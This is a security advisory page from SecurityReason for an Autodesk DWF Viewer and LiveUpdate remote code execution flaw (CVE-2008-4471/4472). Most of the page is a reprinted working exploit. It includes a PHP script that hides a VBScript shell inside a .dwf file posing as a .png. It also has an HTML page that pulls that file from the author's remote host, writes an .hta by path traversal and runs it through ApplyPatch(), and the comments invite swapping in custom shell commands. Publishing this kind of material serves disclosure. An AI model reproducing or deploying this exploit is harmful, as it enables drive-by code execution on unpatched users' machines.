SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

Autodesk DWF Viewer Control / LiveUpdate Module remote code execution exploit


Arrow  SecurityAlert : 4361
Arrow  CVE : CVE-2008-4471
Arrow  CVE : CVE-2008-4472
Arrow  CWE : CWE-22
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
  ExploitAlert :   4819
Arrow  Credit : ipsdix
Arrow  Published : 09.10.2008

Arrow  Affected Software : autodesk:dwf_viewer
autodesk:revit_architecture:2009:sp2
autodesk:design_review:2009



Arrow  Advisory Content :  

<!--

Autodesk DWF Viewer Control / LiveUpdate Module remote code execution
exploit

by Nine:Situations:Group::bruiser

site: http://retrogod.altervista.org/

tested against IE6

tested software: Revit Architecture 2009 sp2

Autodesk Design Review 2009 (which also comes with Revit)

dll settings (both):

RegKey Safe for Script: True

RegKey Safe for Init: True

Implements IObjectSafety: False

KillBitSet: False

The first vulnerability is caused due to the CExpressViewerControl class

(AdView.dll v9.0.0.96) which provide the insecure SaveAS() method

which allows to store locally files with arbitrary extension.

The second one is related to the ApplyPatch() one inside the UpdateEngine

class (LiveUpdate16.DLL, 17.2.56 ??... this is a shared one) which allows
to launch an arbitrary

executable by the second argument. Note, that the first one, alone, allows

arbitrary code execution. The impact of the second one is limited if you
cannot

specify command arguments or launch a file of yours.

The embedded dwf file (located at the url
http://retrogod.altervista.org/suntzu.dwf)

has been created modifying an existing one, replacing a .png resource file
with

a vbscript shell through the following script (note the
PCLZIP_OPT_NO_COMPRESSION flag,

this has been used to preserve the code, note also the dwg files are

essentially zips) :

<?php

//library:

//http://www.phpconcept.net/pclzip/index.en.php#download

include_once('pclzip.lib.php');

$archive = new PclZip('suntzu.dwf');

//modify path

$list =
$archive->add("com.autodesk.dwf.ePlot_CD186DAA4322089243B140AD3ACE11B7\\
A84650EE-74A7-4766-8D0C-CC9EAE8313D3.png", PCLZIP_OPT_NO_COMPRESSION);

if ($list == 0) {

echo "ERROR : ".$archive->errorInfo(true);

}

?>

take a look to suntzu.dwf with an hex-editor...

This exploit launch calc.exe but you can embed your own vbscript shell

and extended shell commands, by using the php code given.

-->

<HTML>

<OBJECT CLASSID="clsid:A662DA7E-CCB7-4743-B71A-D817F6D575DF"

WIDTH="640" HEIGHT="480"

id='CExpressViewerControl' >

<PARAM NAME="Src"

VALUE="http://retrogod.altervista.org/suntzu.dwf">

</OBJECT>

<OBJECT CLASSID='clsid:89EC7921-729B-4116-A819-DF86A4A5776B'

id='UpdateEngine' />

</OBJECT>

<script type="text/javascript">

<!--

strPatchFile = "..\\..\\..\\..\\..\\..\\..\\suntzu.hta";

try

{

CExpressViewerControl.SaveAS (strPatchFile);

}

catch(e)

{

document.write("impossible to save suntzu.hta ...");

}

finally

{

}

strProductCode="whatever" ;

try

{

UpdateEngine.ApplyPatch (strProductCode , strPatchFile);

}

catch(e)

{

document.write("impossible to execute suntzu.hta ...");

}

finally

{

}

-->

</script>

original advisory:
http://retrogod.altervista.org/9sg_autodesk_revit_arch_2009_exploit.html



Arrow  References :

http://securityreason.com/expldownload/1/4819/1 (Exploit)
http://www.securityfocus.com/archive/1/archive/1/496847/100/0/threaded
http://www.milw0rm.com/exploits/6630
http://www.frsirt.com/english/advisories/2008/2704
http://secunia.com/advisories/31989
http://retrogod.altervista.org/9sg_autodesk_revit_arch_2009_exploit.html




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

Copyright © SecurityReason.com. All Rights Reserved.